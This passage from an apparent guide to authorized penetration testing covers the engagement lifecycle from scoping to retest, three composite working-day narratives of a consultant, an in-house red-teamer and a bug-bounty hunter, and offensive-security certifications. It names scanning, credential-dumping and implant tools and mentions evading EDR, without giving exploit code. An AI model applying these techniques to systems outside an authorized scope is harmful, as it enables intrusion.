   │  SCOPING ─► STATEMENT OF ─► SCOPE ─► RULES OF   │  │  RECONNAISSANCE ─► VULN ASSESSMENT ─► EXPLOIT    │  │  REPORTING ─► PRESENT ─► RETEST    │
   │            WORK (SOW)       DOCUMENT ENGAGEMENT │  │  (passive + active   (identify what's            │  │  (exec sum + ┐                      │
   │   ▼                                  ▼          │  │   ↓ for in-scope     potentially exploit-        │  │  technical   │ remediation        │
   │  Target list + exclusions    Get-Out-Of-Jail    │  │   targets only)      able)                       │  │  detail +    │ verification        │
   │  scope boundaries           Letter (GOJL)       │  │                       │                          │  │  remediation │ + report close      │
   │                              ▼                  │  │                       ▼                          │  │   ▼                                 │
   │  Authorization envelope     ────────────────────│──┤  POST-EXPLOITATION ──► PROOF OF IMPACT          │  │  Severity scoring (CVSS) +          │
   │  established                                    │  │  (lateral movement,   (capture flag / data;     │  │  risk-frame for executives          │
   │                                                 │  │   privilege esc,      stop short of damage)     │  │                                     │
   │                                                 │  │   persistence,                                   │  │                                     │
   │                                                 │  │   credential dump)                              │  │                                     │
   │                                                 │  │       │                                          │  │                                     │
   │                                                 │  │       ▼                                          │  │                                     │
   │                                                 │  │  CLEANUP (remove artifacts; restore state)      │  │                                     │
   │                                                 │  │                                                  │  │                                     │
   └─────────────────────────────────────────────────┘  └──────────────────────────────────────────────────┘  └─────────────────────────────────────┘
                                                                                                                            │
                                                                                                                            ▼
                                                                                                                  Retest of remediated items
                                                                                                                  (typically 30–90 days
                                                                                                                  after report delivery)

Figure 6.1 — The authorized engagement lifecycle. Pre-engagement (scoping → SOW → scope document → ROE → GOJL) establishes the authorization envelope. The engagement itself (recon → vuln assessment → exploit → post-exploit → cleanup) is the technical work, gated at every step by the scope and ROE. Post-engagement (reporting → presentation → retest) is where the work product is delivered and validated. The retest closes the loop. This shape is recognizable in every formal pentest methodology — PTES, OSSTMM, OWASP Testing Guide, NIST SP 800-115 — with minor terminology drift between them.

4.2 Scoping — defining what’s in and what’s out

Scoping is the conversation between the testing organization and the client during which the engagement’s boundaries are drawn. The conversation has structural elements that recur across nearly every engagement:

Identification of target assets. What’s being tested? An IP range. A list of domain names. A specific application. A specific facility. A specific user population (for social engineering). The asset list is the positive list — what is explicitly authorized for testing.
Identification of explicit exclusions. What’s out of scope? Third-party hosted services (Cloudflare, AWS-managed services, partner organizations, payment processors). Specific hosts identified by the client as too production-critical to test. Specific user populations excluded from social engineering (executives over a certain level; users with known PTSD or anxiety conditions; users in specific high-stress roles like ICU nurses; etc.). The exclusions list is the negative list — what is explicitly not authorized.
Identification of testing techniques. Are denial-of-service tests permitted? Almost universally no in 2026 (the legal and operational risk is too high; the client will refuse). Is destructive testing permitted? Almost universally no. Is brute-force authentication permitted (and against which accounts)? Is data extraction permitted (and how much; with what handling requirements)? Is social engineering permitted? Is physical entry permitted? Each technique has its own risk-vs-value tradeoff and the conversation walks through them.
Identification of the working window. When is testing permitted to occur? Business hours? After hours? 24/7? The window has both operational and contractual implications (an after-hours window is the time when the SOC is least staffed; a business-hours window is when production load is highest).
Identification of escalation channels. When something breaks during testing (a host crashes, a network segment becomes unavailable, an inadvertent denial-of-service condition manifests), who does the consultant call, and within what response window? The escalation contact list is sometimes the most useful single page in the engagement paperwork.

A common pentester-side anti-pattern at this phase is the consultant under-scoping the engagement to win the contract on price, then discovering mid-engagement that the actually-interesting targets aren’t in scope. A common client-side anti-pattern is the client over-scoping for marketing reasons (“we want our entire global footprint tested”) and then refusing to authorize the actual depth of testing required (“but only with passive reconnaissance”). Mature consultancies refuse both anti-patterns at the scoping conversation rather than discovering them later.

4.3 The pre-engagement artifacts — SOW, scope, ROE, GOJL

The scoping conversation produces four artifacts, in roughly this dependency order:

The Statement of Work (SOW) — sometimes a standalone document, sometimes a project-specific schedule under an umbrella Master Services Agreement (MSA). The SOW captures the contractual elements — parties, term, price, deliverables, payment terms, IP-and-confidentiality language, indemnification and limitation-of-liability clauses, jurisdiction-and-disputes provisions, and the load-bearing consent-to-test clauses that establish the client’s authorization for the testing activity. The SOW is the document the consultant’s general counsel reviews; for in-house teams, the equivalent is the internal authorization document that establishes the red-team’s charter.
The Scope Document — the technical schedule that names the testable assets, the explicit exclusions, the permitted and prohibited testing techniques. The scope document is what the consultant actually consults when they pause to wonder whether a given host is fair game. It is sometimes incorporated into the SOW; sometimes referenced as a separate Schedule A or Appendix.
The Rules of Engagement (ROE) — the operational schedule covering work hours, escalation channels, point-of-contact information, communication protocols (Signal, Slack channel, ticketing system, email), and the no-surprise rules (“if you find a critical we will notify you within four hours; here’s the contact list”). The ROE typically includes the specifically-stated-permission clauses for techniques that need them: ROE-authorized brute-force; ROE-authorized social-engineering target populations; ROE-authorized physical entry windows.
The Get-Out-Of-Jail Letter (GOJL) — the consultant’s hard-copy authorization artifact, on the client’s letterhead, signed by an authorized officer, listing the consultant by name (with photo ID reference and ideally a passport-number reference for high-stakes engagements), naming the scope and the testing window, providing a verification phone number for law-enforcement or facility-security inquiries, and stating in plain language that the consultant is authorized to be there. The GOJL is most consequential in physical-engagement and on-premises social-engineering work. The consultant carries it physically; they do not start engagement work without it; they produce it on demand to challenge an unauthorized-presence accusation. Vol 17 will walk a worked GOJL template at depth.

4.4 Reconnaissance — passive then active

Once the authorization envelope is in place, the engagement starts with reconnaissance. The discipline is passive before active — gather everything you can without sending packets at the target, then move to active probing. The rationale is twofold: passive recon is undetectable (so the client’s SOC isn’t responding to the consultant’s noise before any work has been done); and passive recon is risk-free (a wrong assumption made from public-source data hurts no one, while a wrong assumption made from an active scan against a fragile host can take production down).

The passive phase pulls from public sources — DNS records (dig, host, dnsenum), Certificate Transparency logs (crt.sh, subfinder), search engines (theHarvester, dorking), Shodan and Censys queries, LinkedIn for personnel mapping, the target’s published website and documentation, GitHub for accidentally-public repositories, archived versions on the Wayback Machine, and the open-source intelligence (OSINT) suite generally. The Wayback Machine is often the underrated resource — clients who patched a vulnerability six months ago and removed the documentation often have the old documentation cached.

The active phase moves to Nmap scans, Burp Suite captures of the application’s behavior, BloodHound ingestion if the engagement has internal-AD access, and the rest of the §3 toolchain. The transition is gated by the scope document — every active probe is against an in-scope target, and the in-scope list is the gate. A common pentest-day rhythm is to spend the first morning on passive recon, the afternoon on the initial Nmap sweep, and the next day’s morning on detailed enumeration of the most interesting findings. Vol 16 (computer-hacking tradecraft, pending Phase 3 authoring) will walk the rhythm at depth.

4.5 Vulnerability assessment versus exploitation versus red-team

A consequential distinction in engagement design is what kind of engagement is being scoped:

A vulnerability assessment is a breadth-first identification of vulnerabilities across the scope. The consultant identifies, catalogs, and reports — they do not exploit. The deliverable is a list of vulnerabilities with severity ratings and remediation guidance. Vulnerability assessments are appropriate when the client wants the breadth of “what’s wrong” without the depth of “what could go wrong if attacked”; they’re cheaper, faster, and lower-risk than penetration tests.
A penetration test is depth-first exploitation against the scope. The consultant identifies vulnerabilities and exploits them — the deliverable answers “what could an attacker actually do here?” rather than “what vulnerabilities exist?” Penetration tests are appropriate when the client needs to demonstrate practical impact (often for compliance reasons; PCI DSS § 11.3 requires annual penetration testing, distinctly from vulnerability scanning under § 11.2)¹⁶.
A red-team engagement is an objective-based emulation of a specific threat actor’s TTPs against the entire organization (not just an in-scope subnet). The deliverable answers “could a determined adversary with capabilities like APT-X have compromised this organization within the scoping period?” Red-team work is appropriate when the client has mature defensive operations and wants to test detection and response rather than identification of vulnerabilities. Red-team engagements have substantially different scoping conversations — the targets are often “the entire production network” with explicit exclusions, and the success criteria are objectives (“steal the customer-PII database without being detected for two weeks”) rather than vulnerability counts.

Vol 11 (red hat) will treat the red-team engagement design at full depth. The discriminator that matters for white-hat methodology is that all three — vulnerability assessment, pentest, and red-team — are white-hat work under authorization; they differ in depth, objective structure, and scope shape.

4.6 Exploitation and post-exploitation — proof of impact without further damage

When exploitation is in-scope, the working discipline is to demonstrate impact without causing it. A consultant who has compromised a host should establish proof of access (a screenshot of the user prompt, a captured hash, a file listing); they should not delete files, alter data, or impact production services. Persistence — a long-running implant — is appropriate for red-team work where the engagement’s objective requires maintained access; it is not appropriate for a vulnerability assessment or a typical pentest where the engagement ends with the report delivery. When persistence is established (a Cobalt Strike Beacon, a Mythic agent, a custom implant), the cleanup phase requires its explicit removal.

Lateral movement and privilege escalation follow the same discipline. The consultant moves from initial foothold to more interesting targets to demonstrate that attack paths exist; they do not necessarily walk every attack path to completion. A red-team engagement’s objective will often define which paths to walk; a vulnerability assessment may not require lateral movement at all.

A consequential operational point is credential handling. When a Mimikatz or secretsdump.py run produces a credentials dump, those credentials belong to real users — often users whose role is outside the engagement’s social-engineering or testing population. The credentials must be handled with the same care as any sensitive customer data: encrypted at rest, transmitted only over secure channels, deleted at engagement close, and never used outside the engagement’s objectives. The temptation to “just test whether this admin password is reused on other systems” is exactly the kind of marginal decision that distinguishes a white-hat operation from a grey-hat one.

The discipline summary, as a working checklist:

Discipline	What it means	Why it matters
Proof, not damage	Capture a screenshot; don’t delete files. Read sensitive data; don’t exfiltrate beyond what the report requires.	The engagement’s value is demonstrating impact, not causing it. Damage produces liability and breaks the engagement.
Stay in scope	Don’t follow leads to out-of-scope hosts even when they’re trivially reachable. Document them as findings; escalate; don’t exploit.	Out-of-scope work is unauthorized access regardless of intent. The scope is the authorization boundary.
Persistence requires cleanup	If you install a Beacon or implant, remove it at engagement close. Document where every persistence artifact was placed.	Forgotten persistence is a residual access vulnerability that the consultant created.
Credentials are sensitive data	Encrypt at rest. Transmit securely. Delete at engagement close. Don’t reuse outside the engagement.	The credentials belong to real users; the consultant doesn’t own them.
Don’t impact production	DoS testing is almost always out-of-scope. Avoid pivots that crash production services.	The engagement’s value depends on the client trusting the consultant with production access.
Document everything	Every action, every command, every screen capture. Time-stamped. Per-host indexed.	The report depends on this. So does the consultant’s defense if anything goes wrong.

Table 6.3 — The post-exploitation working discipline. These rules are framed as injunctions because, in the engagement-realistic case, the consultant is being asked to demonstrate “what could go wrong” without crossing the line into “what actually went wrong.” The discipline is the boundary that keeps white-hat work white-hat.

4.7 Cleanup — leaving the environment as you found it

Cleanup is the discipline of removing every artifact the engagement deposited. Persistence implants are uninstalled. Tooling deployed for the engagement (Cobalt Strike teamservers, custom-built scripts, dropped binaries) is removed. Created accounts, registry keys, scheduled tasks, cron entries, files on disk — all reverted. The engagement’s working notes document what was deposited; cleanup walks the inverse of those notes.

Cleanup has both technical and legal dimensions. Technically, an uninstalled implant is fewer surfaces for a real attacker to repurpose. Legally, residual access that survives the engagement is access the consultant created without authorization — the authorization expires at the engagement-end date specified in the SOW. A persistence beacon that the consultant forgets about and that survives past the engagement is exactly the kind of operational artifact that creates downstream problems.

For physical engagements, cleanup is more literal — implants (network taps, RubberDuckies, USB drops, drop boxes) are physically retrieved. Photos and documentation establish what was deposited; the retrieval pass verifies it all came back. Implants that can’t be recovered (e.g., a USB drop that the target’s user kept) are documented as such in the report.

4.8 Reporting — the deliverable

The report is the engagement’s actual output. The technical work is the input; the report is what the client paid for. A senior consultant will tell you the report is the product — everything else (the discovery, the exploitation, the lateral movement) is preliminary work toward the report. A common rule of thumb in pentest consulting: report writing is approximately half the engagement effort. A five-day pentest is often two-and-a-half days of testing and two-and-a-half days of writing. Junior consultants underestimate this consistently; senior consultants budget for it from the start.

The standard structure of a pentest report:

Executive summary — 1–2 pages aimed at non-technical readers (CISO, CFO, board members where appropriate). What was tested, at a high level. What was found, at a high level. What the business risk is, in non-technical terms. What the recommended remediation priorities are. The executive summary is often the only thing the executive reader will read; it has to stand alone.
Methodology — what was done, in narrative form. What tools were used, what techniques were applied, what targets were in scope. This section establishes the engagement’s defensibility — it shows the work followed industry-standard methodologies (PTES, OWASP Testing Guide, NIST SP 800-115, OSSTMM, or the firm’s internal methodology document).
Findings detail — the technical guts. Each finding is its own entry, with severity rating, technical description, proof-of-concept (screenshots, commands, captured output), affected hosts/applications, root-cause analysis, recommended remediation. The findings section is what the engineering team will read and act on. CVSS scoring (currently CVSS 4.0; the long-running 3.1 still appears in legacy reports) is the canonical severity-rating system; each finding carries a CVSS base score and a vector string. The report often supplements CVSS with a firm-specific risk rating that incorporates business context (CVSS is a technical severity score; the consultant translates technical severity to business risk in the recommendation language).
Remediation guidance — for each finding, what the engineering team should do. Specific, actionable, prioritized. The remediation guidance is what distinguishes a good report from a mediocre one — a list of findings without remediation is half a deliverable.
Appendices — raw tool output, captured screenshots, exhaustive command logs, supplementary evidence. The appendices are not for the executive reader; they’re for the engineering team’s verification work and for the consultant’s defensibility.

A working pattern many consultancies follow is a Markdown-or-AsciiDoc source file that the report-rendering pipeline transforms to a branded PDF and an HTML version. Tools like Dradis, Faraday, Plextrac, and Hakuvio occupy the engagement-management-and-reporting niche; smaller firms often use a flat-file workflow with Pandoc rendering and version-controlled templates.

4.9 Presentation — the readout

After the report is delivered, the consultant typically presents the findings to the client’s stakeholders. The presentation has a different rhythm from the report: the executive readout is 30 minutes with the CISO and a couple of other senior stakeholders, focused on the highest-severity findings and the business risk; the technical readout is 60–120 minutes with the engineering team, walking findings in detail and answering questions about reproduction and remediation. Sometimes the two are combined; more often they’re separate sessions.

The readout has an under-recognized political function. The findings often include statements about the security posture of teams the readout audience is responsible for. A senior security manager who is hearing “your detection coverage missed our entire post-exploitation phase” has organizational reasons to push back on the finding’s severity or framing. The consultant has to defend the findings honestly while not picking unnecessary political fights. The discipline is “name the finding accurately; don’t moralize; let the data speak; help the client own the remediation.”

4.10 Retest — closing the loop

The standard engagement closes with a retest — typically 30 to 90 days after report delivery, sometimes longer. The retest is a focused re-execution against the specific findings, with the client confirming which have been remediated. The retest scope is much narrower than the original engagement (the original scope was breadth-first; the retest is depth on the specific items remediated). The retest’s deliverable is a short follow-up report that updates each finding’s status — remediated, partially remediated, accepted-as-risk, deferred.

Retest is the part of the lifecycle that gets dropped most often. Clients run out of budget; engineering teams promise to remediate without confirming; the consultant moves on to the next engagement and never circles back. Mature consultancies build retests into the original SOW so the work happens automatically; less-mature engagements leave it as an unscheduled hope.

Lifecycle phase	Typical duration (5-day pentest)	Key artifact	Pitfall
Scoping & SOW	1–4 weeks before engagement	SOW signed	Scope drift in either direction
Scope, ROE, GOJL	1–2 weeks before engagement	Documents signed; GOJL in pocket	GOJL missing in field
Reconnaissance	1 day	Passive recon notes; initial Nmap	Skipping passive recon
Vuln assessment	1 day	Vuln list	Treating it as the full pentest
Exploitation	1–2 days	Captured proof of impact	Causing damage; chasing out-of-scope
Post-exploitation	0.5–1 day (engagement-dependent)	Captured credentials, lateral movement notes	Persistence forgotten; credentials mishandled
Cleanup	0.5 day	All implants removed	Forgotten implants
Reporting	2–3 days	Final report with CVSS scores	Underestimating the time
Presentation	0.5 day	Readout sessions	Political fights over findings
Retest	30–90 days post-report	Retest report	Skipped retest

Table 6.4 — The lifecycle phases mapped to a representative five-day pentest engagement. The proportions shift for vulnerability assessments (more recon, less exploitation), red-team engagements (much longer; weeks-to-months), and bug bounty work (no formal scoping; the program’s scope replaces the SOW). Reporting is consistently the largest single phase by elapsed time.

The find-as-much-as-possible-then-write rhythm. A pattern recognizable across nearly every consultancy: the engagement window is fixed; the testing phase consumes as much of it as the consultant lets it; the reporting phase happens in the time that’s left. Senior consultants build report-writing into the schedule from day one (often by writing findings as they occur, not at the end). Junior consultants discover the rhythm the hard way the first time they have to write a 50-page report in two days.

5. A day in the life

The abstract lifecycle of §4 looks much more concrete from inside a working week. This section walks three composite narratives — drawn from publicly available consulting-firm writeups, conference talks (DEF CON, Black Hat, BSides), and observable patterns in the field — to give the texture of what white-hat work actually looks like day to day. The narratives are composite, not single-person biographies; the patterns are real.

5.1 A consultancy pentester’s Tuesday

7:30 AM. The consultant — call her Sarah — is at her kitchen table with coffee, opening her laptop. She’s three days into a five-day external network pentest against a mid-sized regional bank. Monday was scoping confirmation and passive reconnaissance; Tuesday’s plan is the initial Nmap sweep and the start of vulnerability identification. She checks her email first: nothing from the client engineering POC (good — no surprises), one Slack ping from her colleague on a different engagement asking if she’s seen a specific Mimikatz error message before (she has; she’ll answer at lunch).

8:00 AM. She SSHes into the engagement’s testing VM — a hardened jump host that her firm operates specifically for client engagements, with engagement-scoped credentials and per-engagement segmentation. The testing VM runs Kali Linux 2026.1; the firm’s customizations include a pre-installed and licensed Burp Pro, Cobalt Strike (for engagements that scope it), the firm’s internal reporting tools, and a wireguard tunnel back to the firm’s offices for collaboration. She checks the engagement’s working directory: the in-scope IP list, the scope document, the ROE, and her Monday notes are where she left them.

8:15 AM. The initial Nmap sweep starts. She’s scanning the bank’s external /24 plus three additional /27s explicitly authorized in the scope document. The full TCP sweep with nmap -sS -sV -p- -T4 will run for approximately ninety minutes; she sets it going and switches to the application-layer work she was doing at the end of Monday. While Nmap is grinding, she reads through the bank’s customer-facing web application — manually, with Burp’s proxy capturing every request. She’s looking for the kinds of issues that scanning won’t surface: business-logic flaws, authorization-misconfigurations, session-management subtleties. The application has a curious behavior in its password-reset flow that she wants to revisit.

9:45 AM. Nmap completes. She runs db_import to bring the results into Metasploit’s working database, then loads the XML output into a small Python script she maintains that compares the new scan against the previous engagement’s results (this bank was a client last year, so there’s a baseline). Three new services appear in the diff: a new web application on port 8443 that wasn’t there last year, a Redis instance on port 6379 (unauthenticated, of course — Redis defaults bite hard), and an SMB share on what looks like a misconfigured Windows file server in the bank’s external DMZ.

10:00 AM. She pings the engagement Slack channel — the client’s engineering POC is in the channel, along with two of his team members and her own engagement lead. She notes the unauthenticated Redis instance as a finding and asks whether the file server’s external exposure is intentional. The POC confirms it isn’t and asks her to keep going while they investigate. She files the Redis finding into her working notes (severity: critical, given the data it exposes; CVSS 4.0 base 9.8) and turns to the Windows file server.

10:30 AM. The file server’s anonymous-listable shares contain what looks like backup archives, organized by year. She doesn’t open them; she takes a screenshot of the share listing, records the file count and the size totals, and adds the finding to her working notes (severity: high, depending on the archive contents — which she’s not opening to verify). She’ll ask the engagement POC at the next sync whether they want her to spot-check one archive to confirm sensitivity or whether the listing itself is sufficient proof of impact. (The POC will, when asked, say “the listing is fine; we know what’s in those backups; please don’t open them.”)

11:30 AM. She’s back on the curious password-reset behavior. The reset flow generates a token that gets emailed; she’s noticed the token has only 32 bits of entropy. She writes a small Python script that tries token generation timing — and finds the tokens are predictable enough that an attacker who initiates a reset against a target user can guess the token within a few thousand attempts. She writes up the finding and tests her hypothesis against her own pre-arranged engagement test account (the bank set one up for this purpose; the scope document names it). The exploit works. Severity: high; CVSS 4.0 base 7.5; the finding includes a working proof-of-concept and a recommended remediation (use a cryptographically random token of at least 128 bits).

12:30 PM. Lunch. She’s making sandwiches in her kitchen; her partner is doing something similar; they talk about nothing engagement-related for forty minutes. The break is functionally important — the morning’s pace is intense and the afternoon’s reporting work will be slower.

1:30 PM. Back at the laptop. She decides to write up the three morning findings — Redis, the file-server share, and the password-reset token — while they’re fresh. The firm’s reporting template is a Markdown source file with structured front-matter; she fills in the per-finding sections (severity, description, technical detail, proof of concept, recommended remediation, references). Each write-up takes 20–30 minutes when the details are fresh; when she leaves them to write up on Friday, they take 60+ minutes because she’s re-reconstructing the working state.

3:00 PM. Engagement sync. The bank’s engineering POC and his two team members join her engagement lead on a quick video call. She walks through the three morning findings; they ask clarifying questions. The Redis instance is confirmed to be a leftover from a recent migration project — they’ll have it removed within the day. The file-server share is being investigated. The password-reset finding produces a discussion; the bank’s team wants to know if the token can be guessed in real-time during the reset window (yes, in minutes) and what the remediation effort looks like (modest; one developer-day plus testing). The call wraps at 3:30.

3:30 PM. She turns to the bank’s authentication-and-authorization deep-dive — the part of the engagement where she’ll spend the rest of Tuesday and most of Wednesday. The customer-facing web application uses OAuth2 with a custom identity provider; she walks through the OAuth flow with Burp recording every request, looking for the canonical OAuth issues (open redirector, weak state parameter, mixed-up authorization code, token leakage in referer headers, scope misconfigurations). The flow is reasonably well-implemented but has one suspicious behavior — the redirect URI validation looks loose. She’ll test that more carefully tomorrow.

5:15 PM. She wraps for the day. The day’s findings are written up; the engagement sync is logged; the working notes are committed to the engagement’s encrypted git repository on the firm’s server; tomorrow’s plan is in the engagement journal. She closes the laptop and walks the dog. The next engagement starts Monday — a wireless audit against a manufacturing facility — so Friday will be a half-day of report-writing followed by a half-day of pre-engagement scoping for next week.

The Tuesday described here is a representative one. A typical week has one engagement at a time; some weeks have two (when engagements overlap at the start-end seam); senior consultants juggle three or more concurrent engagements with the actual hands-on work spread across team members. The reporting overhead is unavoidable; the engagement rhythm is fast; the work is intellectually satisfying and routinely produces concrete improvements in client security postures. Consultancy work is the most-traveled white-hat career path; about a third of the population is on this trajectory at any given time.

5.2 An in-house red-teamer’s sprint

David is an in-house red-team operator at a large financial-services company. He’s been at this firm for three years; before that he was a consulting pentester at one of the second-generation firms named in Vol 4 §2.2. The differences between the two roles, from his perspective, are substantial.

This week he’s three days into a six-week red-team engagement against the firm’s own customer-banking platform. The engagement was scoped four months ago; the engineering teams that own the platform don’t know the engagement is happening (the firm operates its red team in an “uncoordinated” mode for some engagements — the deliberate point is to test detection-and-response, not to coordinate vulnerability identification). David’s chain of command for this engagement is the firm’s CISO and her deputy; the engineering teams will learn about the engagement when the report is delivered, at which point the post-mortem-and-remediation conversation begins.

David’s Tuesday looks different from Sarah’s. He starts at 9:00 AM (the firm’s culture is later-morning-friendlier than Sarah’s consultancy’s). He’s not under time pressure to find as much as possible in five days; he has six weeks, and the objective is specific (compromise the customer-PII database while avoiding detection by the firm’s SOC for two weeks of attempted detection). The pace is slower and more deliberate.

The morning is reconnaissance — but not external. David already has the internal-network knowledge of an employee; he’s testing what an attacker with foothold-level access could achieve. He’s running BloodHound queries against the firm’s Active Directory to map attack paths from his current foothold (a low-privilege user account he established via a phishing-equivalent simulation last week) to high-value targets. The graph he’s building takes hours; the BloodHound ingestor needs to run against a substantial fraction of the firm’s domain controllers, and David is being deliberately careful about the query pace — too fast and the SOC’s detection rules will flag the anomalous LDAP traffic.

The midday is spent on a custom payload. The platform’s developer workstations run a particular EDR vendor’s product; David’s previous engagements against the same product have taught him which detection rules he needs to evade. He spends two hours adjusting a custom Sliver implant’s behavior to defeat the specific EDR ruleset. The work is technical and slow; he’s testing each adjustment against a lab-replica of the EDR product before deploying anything to a real workstation.

The afternoon is a long writing session — not the engagement report (that won’t be written for four more weeks) but a working journal entry. David’s red-team practice maintains a detailed engagement journal — every action, every observation, every assumption challenged. The journal is the eventual source for the engagement report and is also the firm’s institutional memory; the next red-team engagement will benefit from this one’s notes. He writes for nearly two hours, walking through the day’s findings and noting which assumptions changed.

The week’s cadence is different from a consulting pentest. Sarah’s week is recon → exploit → write → wrap, all in five days. David’s six-week engagement has weekly cycles — Monday-Tuesday gathering and analysis, Wednesday-Thursday active operations, Friday writeup and analysis-of-the-week. The pace permits depth that a five-day engagement can’t reach; the objective is “could a determined APT-class adversary compromise this platform in six weeks?” not “what vulnerabilities exist in this scope?”

David’s political position is different too. When the engagement closes, the report will land on the desks of engineering managers who had no idea the test was running. He’s going to deliver findings that name specific failures in their team’s detection-and-response practice — and then he has to keep working with those same teams across future engagements. The discipline is “name what happened accurately; don’t moralize; help the team own the response.” Vol 12 (purple hat) will treat the collaborative-integration follow-on; David’s role is to deliver the red-team result that purple-team work then uses.

In-house red-team work pays less than the equivalent consultancy seniority at the gross-cash level, but the equity component at large firms can make the total compensation comparable or higher. The intellectual texture is different — depth over breadth, fewer engagements with much more per-engagement context. The political texture is different — David is permanently embedded with the engineering teams whose work he’s testing; their relationship has long memory in both directions. The pace is different — six-week engagements with weekly rhythm rather than five-day engagements with daily rhythm.

5.3 A bug-bounty researcher’s evening session

Emily is an independent bug-bounty researcher. She works a day job as a software engineer at a different firm; her bug-bounty work is evenings and weekends. She does not call herself a “professional penetration tester” — she has neither the consulting-firm employment nor the in-house red-team role — but she is unambiguously a white-hat operator: every target she touches is in-scope for a published bug-bounty program with explicit safe-harbor language.

Tuesday evening, 8:00 PM. Emily is at her desk in her apartment. She has a list of programs she actively works in HackerOne (about a dozen) and Bugcrowd (about half a dozen); she rotates through them based on recent activity and her sense of “where there’s still uncaptured low-hanging fruit.” Tonight she’s working on a software-as-a-service company’s public bug bounty — the company makes a developer-collaboration tool, the scope includes all production domains under their primary apex, and the safe-harbor language is the canonical HackerOne text.

Her work session structure is different from Sarah’s or David’s. She’s not running broad scans (those would generate noise that the company’s SOC would notice and that wouldn’t differentiate her from other researchers in the program). She’s reading documentation — the company’s API documentation, their developer portal, their changelog — looking for recently-shipped features that might have introduced bugs. The pattern she’s developed over five years of bug-bounty work is that newly-shipped features are where the bugs are; well-aged features have been tested by many researchers already.

She finds something interesting in the changelog. Two weeks ago, the company shipped a new collaboration feature that lets users invite external collaborators by email. She walks through the invitation flow in her browser, with Burp recording. The invitation generates a token URL that’s emailed to the invitee; the URL includes both a token and the inviter’s user-ID. She wonders whether changing the user-ID parameter would let an attacker accept an invitation in someone else’s name. She tries it. It does.

What she’s found is an IDOR (Insecure Direct Object Reference) — the invitation-acceptance endpoint doesn’t verify that the user accepting the invitation is the one the inviter intended. Severity: probably high; the IDOR lets an attacker permanently associate themselves with another user’s resources. She writes up the finding in her bug-bounty submission template: clear reproduction steps, a screenshot of the result, a brief technical description, and a suggested CVSS score (she’ll let the program triage adjust it). She submits at 10:30 PM.

The program’s triager will review the submission within 24–48 hours (this is one of the better-run programs; slower programs take a week or longer). Assuming triage confirms, the program will assign a bounty (probably in the $1,000–$3,000 range for an IDOR of this severity), the engineering team will remediate, and Emily will receive payment within 30 days of confirmation. Her annualized income from bug bounty work, across all the programs she runs, is in the mid-five-figures — substantial supplemental income, not a primary income, and consistent with the broader distribution of bounty-hunter income (a small handful of full-time researchers make six and low-seven figures from bounties; the modal active researcher makes high four to low-five figures).

The bug-bounty workflow is the third white-hat career mode (§6.3 will compare). It’s the lowest-overhead path — no SOW negotiation, no scoping conversations, no GOJL — but the income variability is high and the work is unpaid until findings convert. Emily’s daytime engineering job provides the stable income; the bug-bounty work provides intellectual stimulation, an evolving public profile (her HackerOne reputation is in the program’s top thousand), and a financial cushion. She doesn’t expect to leave her day job for full-time bounty work, but she takes pride in being able to.

Three white-hat working rhythms — the comparison. Sarah’s consultancy week is fast, multiclient, report-dominated; the engagement-find-and-write rhythm is exhausting and intellectually variable. David’s in-house six-week engagement is slow, single-target, depth-first; the political-and-organizational texture is the dominant secondary skill. Emily’s evening bug-bounty session is asynchronous, self-paced, payout-variable; the work is intellectually stimulating but income-dependent on actually finding things. Each of the three is unambiguously a white-hat operating mode; the differences are in pace, scope, and the surrounding work structure.

6. How they get hired

The white-hat hiring market in 2026 has roughly stabilized around three career modes — consultancy, in-house, and bug-bounty — with credential and portfolio expectations that an inbound candidate can target deliberately. This section walks the certifications, the portfolio and home-lab structure, the interview process, and the consultancy-vs-in-house-vs-bounty trade-offs. Vol 18 will treat careers as a full synthesis volume across all the hats; this section is the white-hat-specific cut.

6.1 Certifications — the practical ones, the famous-but-soft ones, and the managerial ones

The certification landscape divides roughly into three tiers, with a fourth governmental-procurement tier that intersects all of them:

Practical-exam certifications — the credentials that actually demonstrate hands-on competence by having the candidate compromise systems in a timed lab. The load-bearing example is OSCP (Offensive Security Certified Professional)¹⁷, introduced by Offensive Security (founded 2007 by Mati Aharoni and Devon Kearns)¹⁸. The OSCP exam is a 24-hour practical against a lab of vulnerable machines, followed by a 24-hour reporting window; the candidate must demonstrate administrative-level compromise on a passing number of targets and document the work in a client-quality report. The exam structure has evolved across years; the 2026 form is approximately five primary machines (with a passing threshold based on weighted points). Approximate 2026 pricing is in the range of $1,600 for the PEN-200 training package plus exam, with additional retakes priced separately¹⁹. The OSCP is, in 2026, the canonical entry-credential for hands-on offensive security work — the cert that most hiring managers explicitly look for in junior pentest hires. The cert is the “floor, not the ceiling” — it demonstrates the candidate can compromise lab machines and write a report, but the post-OSCP credential ladder is where deeper credentialing lives.
TCM Security’s PNPT (Practical Network Penetration Tester) is the more-accessible-on-price practical-exam alternative — pricing in the range of $399–$599 for the full course plus exam in 2026²⁰, with similar 5-day-exam-plus-report structure but a focus on Active-Directory-rooted engagements (Heath Adams’ TCM Security has built a focused brand around the practical-AD-pentest workflow). PNPT has rising recognition in the practitioner community; hiring managers in 2026 will accept it as substantively equivalent to OSCP for entry-level work, though the brand recognition curve hasn’t fully caught up.
Zero-Point Security’s CRTO (Certified Red Team Operator) — Daniel Duggan’s exam²¹, focused on Cobalt-Strike-style red-team operations against Windows enterprise environments. Pricing approximately £399 in 2026 (around $500). CRTO is more advanced than OSCP — it assumes the candidate already has practical exploitation experience and is testing the red-team-specific tradecraft (Beacon operations, EDR evasion, AD-trust abuse). The advanced practical-cert market more generally includes Offensive Security’s own ladder (OSEP, OSED, OSWE) and the SANS GIAC family.
SANS GIAC family — the GIAC certifications associated with SANS training courses²². The catalog is large; the certifications relevant to white-hat offensive work include GPEN (penetration testing), GWAPT (web application pentest), GXPN (advanced exploitation), GMOB (mobile), GAWN (wireless). SANS courses are expensive (approximately $8,000+ per course in 2026, with the certification exam included); the certifications are widely respected in enterprise and government markets and are the canonical credential pattern in DoD and federal-contractor spaces. The defender-side GIAC certifications (GCIH, GCFA, GCFE, GREM, GCDA, GMON) belong to the blue-hat treatment in Vol 10.
(ISC)² CISSP (Certified Information Systems Security Professional) — the managerial-and-architectural certification. CISSP is not a practical exam — it’s a 100–150-question multiple-choice exam covering the (ISC)² Common Body of Knowledge across eight domains²³. The exam is widely respected at the executive-and-board level; CISSP holders are typically managers, architects, and CISOs rather than working pentesters. The certification is universally derided by working pentesters as not testing practical skills — but is widely required by corporate procurement for managerial-and-senior security roles. The 2026 examination fee is approximately $749 USD plus annual maintenance fees.
